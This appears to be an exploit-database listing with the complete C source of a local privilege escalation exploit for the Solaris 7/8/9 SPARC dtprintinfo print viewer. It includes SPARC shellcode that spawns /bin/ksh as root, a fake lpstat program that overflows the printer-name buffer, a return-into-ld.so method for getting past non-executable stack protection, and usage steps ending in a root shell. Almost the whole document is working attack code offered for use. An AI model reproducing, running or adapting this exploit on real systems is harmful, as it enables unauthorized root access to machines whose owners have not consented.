Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)

2019-05-20 21:05:11

/*
* raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC
* Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able
* to bypass the non-executable stack protection (noexec_user_stack=1 in
* /etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
*
* Usage:
* $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_sparc2 192.168.1.1:0
* [...]
* # id
* uid=0(root) gid=10(staff)
* #
*
* Tested on:
* SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
* SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
* [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
*/

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC"
#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"

#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address

/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);

/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos;
int plat_len, prog_len, rel;

char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;

int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem();

/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {

/* check command line */
if (argc != 2)
exit(1);

/* get ret and fake frame addresses from environment */
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);

/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;

/* fill with return and fake frame addresses */
for (i = 0; i < BUFSIZE; i += 4) {
/* apparently, we don't need to bruteforce */
set_val(buf, i, ret - 4);
set_val(buf, i += 4, ff_addr);
}

/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);

/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);

/* prepare the fake frame */
bzero(ff, sizeof(ff));

/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */

/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */

/* fill the envp, keeping padding */
sc_addr = add_env(ff);
add_env(sc);
ret_pos = env_pos;
add_env("RET=0x41414141");
fpt_pos = env_pos;
add_env("FPT=0x42424242");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);

/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)

/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;

/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */

/* overwrite RET and FPT env vars with the right addresses */
sprintf(ret_var, "RET=0x%x", ret);
env[ret_pos] = ret_var;
sprintf(fpt_var, "FPT=0x%x", ff_addr);
env[fpt_pos] = fpt_var;

/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");

/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}

/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;

/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}

/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;

/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}

return(env_len);
}

/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}

/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;

/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}

/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}

/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}

/* close the executable object file */
dlclose(handle);

check_zero(addr - 4, sym);
return(addr);
}

/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;

/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}

/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);

/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;

return(addr_old);
}

/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}

Fixes

No fixes

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